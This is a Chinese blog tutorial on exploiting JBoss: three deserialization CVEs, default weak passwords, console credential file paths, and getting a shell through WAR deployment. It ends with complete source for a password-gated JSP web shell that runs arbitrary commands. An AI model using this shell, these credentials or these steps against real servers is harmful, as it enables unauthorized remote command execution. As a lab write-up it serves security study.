Jboss相关漏洞

最新推荐文章于 2025-07-10 23:30:13 发布

原创最新推荐文章于 2025-07-10 23:30:13 发布 · 3.3k 阅读

10 ·

CC 4.0 BY-SA版权

应用程序漏洞专栏收录该内容

7 篇文章

订阅专栏

本文详细介绍了JBoss应用服务器中的多个反序列化漏洞，包括CVE-2015-7501、CVE-2017-7504和CVE-2017-12149，探讨了如何探测这些漏洞以及利用它们执行系统命令的方法。同时，文章还讲解了如何通过Jboss管理控制台上传WAR包获取Shell。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

Jboss

JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)

JBoss 4.x JBossMQ JMS 反序列化漏洞（CVE-2017-7504）

JBoss 5.x/6.x 反序列化漏洞复现（CVE-2017-12149）

Jboss管理控制台

Jboss4.x

Jboss5.x/6.x

jboss4.x jmx-console管理后台未授权访问上传war包Getshell

Jboss 5.x/6.x admin-Console后台部署war包Getshell

Jboss

默认端口：8080

Jboss常见弱口令：

admin/admin
jboss/admin
admin/jboss
admin/123456
admin/password

JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)

这是经典的 JBoss 反序列化漏洞，JBoss在 /invoker/JMXInvokerServlet 请求中读取了用户传入的对象，然后我们可以利用 Apache Commons Collections 中的 Gadget 执行任意代码。

漏洞探测

此漏洞存在于JBoss中 /invoker/JMXInvokerServlet 路径。访问若提示下载 JMXInvokerServlet，则可能存在漏洞。

这个漏洞利用工具是：java反序列终极化工具.jar

我们先启动靶机环境，访问：http://192.168.10.13:8080/

打开我们的 java反序列终极化工具.jar 工具，选择jboss，输入目标主机的链接，点击目标信息，获取信息。等五六秒的样子，如果能出来目标主机的信息，则说明目标主机存在漏洞。如果没漏洞，会直接提示不存在漏洞，我们等待他的响应即可。

执行系统命令

参考文章：JBoss JMXInvokerServlet 反序列化漏洞

JBoss 4.x JBossMQ JMS 反序列化漏洞（CVE-2017-7504）

Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中，JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞，远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

漏洞探测

该漏洞出现在 /jbossmq-httpil/HTTPServerILServlet 路径下。若访问200，则可能存在漏洞。

这个漏洞利用工具是：java反序列终极化工具.jar

我们先启动靶机环境，访问：http://192.168.10.13:8080/

打开我们的 java反序列终极化工具.jar工具，选择jboss，输入目标主机的链接，点击目标信息，获取信息。等十来秒的的样子，有时候需要等久一点，多点几次，如果能出来目标主机的信息，则说明目标主机存在漏洞。如果没漏洞，会直接提示不存在漏洞，我们等待他的响应即可。

执行系统命令

JBoss 5.x/6.x 反序列化漏洞复现（CVE-2017-12149）

该漏洞为 Java 反序列化错误类型，存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化，从而导致了漏洞。

漏洞探测

此漏洞路径存在于 /invoker/readonly。若访问此页面为500，则可能存在漏洞。

这个漏洞利用工具是：java反序列终极化工具.jar 或 jboss反序列化_CVE-2017-12149.jar

我们先启动靶机环境，访问：http://192.168.10.13:8080/

开我们的 java反序列终极化工具.jar工具，选择jboss，输入目标主机的链接，点击目标信息，获取信息。等五六秒的样子，如果能出来目标主机的信息，则说明目标主机存在漏洞。如果没漏洞，会直接提示不存在漏洞，我们等待他的响应即可。

执行系统命令

或者利用工具：jboss反序列化_CVE-2017-12149.jar

输入目标URL，点击检测，过几秒就看底下的信息看是否存在漏洞

确认存在漏洞后，输入命令，点击执行，下面命令的回显了

Jboss管理控制台

Jboss4.x

jboss 4.x 及其之前的版本 console 管理路径为 /jmx-console/ 和 /web-console/ 。

jmx-console的配置文件为

/opt/jboss/jboss4/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml  #jboss的绝对路径不同网站不一样

web-console的配置文件为

/opt/jboss/jboss4/server/default/deploy/management/console-mgr.sar/web-console.war/WEB-INF/jboss-web.xml  #jboss的绝对路径不同网站不一样

控制台账号密码

jmx-console 和 web-console共用一个账号密码，账号密码文件在

/opt/jboss/jboss4/server/default/conf/props/jmx-console-users.properties
格式为：账号:密码

Jboss5.x/6.x

Jboss5.x开始弃用了 web-console ，增加了 admin-console。jboss5.x / 6.x 版本 console 路径为 /jmx-console/ 和 /admin-console/。

jmx-console的配置文件为

jboss/common/deploy/jmx-console.war/WEB-INF/jboss-web.xml  #jboss的绝对路径不同网站不一样

admin-console的配置文件为

jboss/common/deploy/admin-console.war/WEB-INF/jboss-web.xml   #jboss的绝对路径不同网站不一样

控制台账号密码

jmx-console 和 web-console 共用一个账号密码，账号密码文件在

jboss/server/default/conf/props/jmx-console-users.properties

jboss4.x jmx-console管理后台未授权访问上传war包Getshell

Jboxx4.x /jmx-console/ 后台存在未授权访问，进入后台后，可直接部署 war 包Getshell。若需登录，可以尝试爆破弱口令登录。

直接访问: http://xx.xx.xx.xx:8000/jmx-console/ 或者点击图片处

进入后台后，点击 Jboss.deployment 进入应用部署页面,也可以直接输入URL进入

http://xx.xx.xx.xx:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment:type=DeploymentScanner,flavor=URL

生成war包

one.jsp的内容如下

<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;          
        byte[] b = new byte[1024];          
        out.print("<pre>");          
        while((a=in.read(b))!=-1){
            out.println(new String(b));          
        }
        out.print("</pre>");
    } 
%>